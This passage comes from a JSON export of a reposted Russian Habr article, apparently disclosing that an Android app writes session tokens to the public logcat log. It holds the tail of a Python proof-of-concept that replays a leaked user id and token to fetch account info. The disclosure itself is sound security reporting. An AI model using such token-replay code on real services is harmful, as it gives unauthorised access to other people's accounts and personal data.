'no-cache',         'If-None-Match': '*',         'Accept': 'application\/json, text\/json, text\/x-json, text\/javascript, application\/xml, text\/xml, application\/zip',         'Authorization': 'Bearer %s' % session['accessToken']     }     resp = requests.get(url, headers=header)     if resp.status_code == 200:         print(json.dumps(resp.json(), indent=4))   def main():     uid = sys.argv[1]     lastToken = sys.argv[2]     rid = sys.argv[3]     session = createSession(uid, lastToken, rid)     getUserInfo(uid, session)   if __name__ == '__main__':     main() <\/code><\/pre>\n<h3>\u0412\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f<\/h3>\n<p>  \u041f\u043e\u0432\u0442\u043e\u0440\u044e\u0441\u044c, \u0432 \u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0438\u043a\u0442\u043e \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u00ab\u0432\u0442\u043e\u0440\u0433\u0430\u043b\u0441\u044f\u00bb \u043d\u0438 \u0440\u0435\u0432\u0435\u0440\u0441\u0430, \u043d\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438. \u0412\u0441\u0451 \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u044d\u0442\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u2014 \u044d\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 <i>logcat<\/i>. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 Play Market \u043d\u0435 \u0431\u044b\u043b\u043e \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0414\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043d\u0430 Android 6.0.1. \u0423 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f Android \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043d\u043e \u043d\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043d\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043b\u043e\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432\u0441\u0435\u043c \u0431\u0435\u0437 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043b\u043e\u0433\u0430\u043c \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043a\u0430\u043a \u043c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0432\u043e\u0434 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u044c \u0442\u0443\u0434\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e. <\/p>\n<p>  \u0418 \u043d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a! \u0423\u0436 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043c\u0438\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u0443\u0442\u0430\u043b\u0438 Debug \u0441 Release.<\/p><\/div>\n<p>        <script class=\"js-mediator-script\">!function(e){function t(t,n){if(!(n in e)){for(var r,a=e.document,i=a.scripts,o=i.length;o--;)if(-1!==i[o].src.indexOf(t)){r=i[o];break}if(!r){r=a.createElement(\"script\"),r.type=\"text\/javascript\",r.async=!0,r.defer=!0,r.src=t,r.charset=\"UTF-8\";var d=function(){var e=a.getElementsByTagName(\"script\")[0];e.parentNode.insertBefore(r,e)};\"[object Opera]\"==e.opera?a.addEventListener?a.addEventListener(\"DOMContentLoaded\",d,!1):e.attachEvent(\"onload\",d):d()}}}t(\"\/\/mediator.mail.ru\/script\/2820404\/\",\"_mediator\")}(window);<\/script>     <br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/post\/420483\/\"> https:\/\/habr.com\/post\/420483\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div data-io-article-url=\"https:\/\/habr.com\/post\/420483\/\" class=\"post__text post__text-html js-mediator-article\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/52\/xm\/ic\/52xmicralkno7snjdeo4tr5d4bs.png\"><\/div>\n<p>  \u0412\u0441\u0435\u043c \u0434\u043e\u0431\u0440\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0443\u0442\u043e\u043a. \u0412\u0441\u0435 \u0432\u0435\u0434\u044c \u043f\u043e\u043c\u043d\u044f\u0442 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0439 \u00ab\u0445\u0430\u0439\u043f\u00bb \u0432\u043e\u043a\u0440\u0443\u0433 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f <i>BurgerKing<\/i>, \u044f\u043a\u043e\u0431\u044b \u043e\u043d\u043e \u0441\u043b\u0438\u0432\u0430\u0435\u0442 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439? \u0422\u0430\u043a \u0432\u043e\u0442, \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0431\u044b \u0445\u043e\u0442\u0435\u043b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043e \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0434\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u043c \u0441\u043b\u0438\u0432\u0435, \u0438 \u043d\u0435 \u043a\u0443\u0434\u0430-\u0442\u043e \u043d\u0430 1 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435\u043c! \u0417\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0440\u043e\u0448\u0443 \u043f\u043e\u0434 \u043a\u0430\u0442  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-288175","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/288175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=288175"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/288175\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=288175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=288175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=288175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}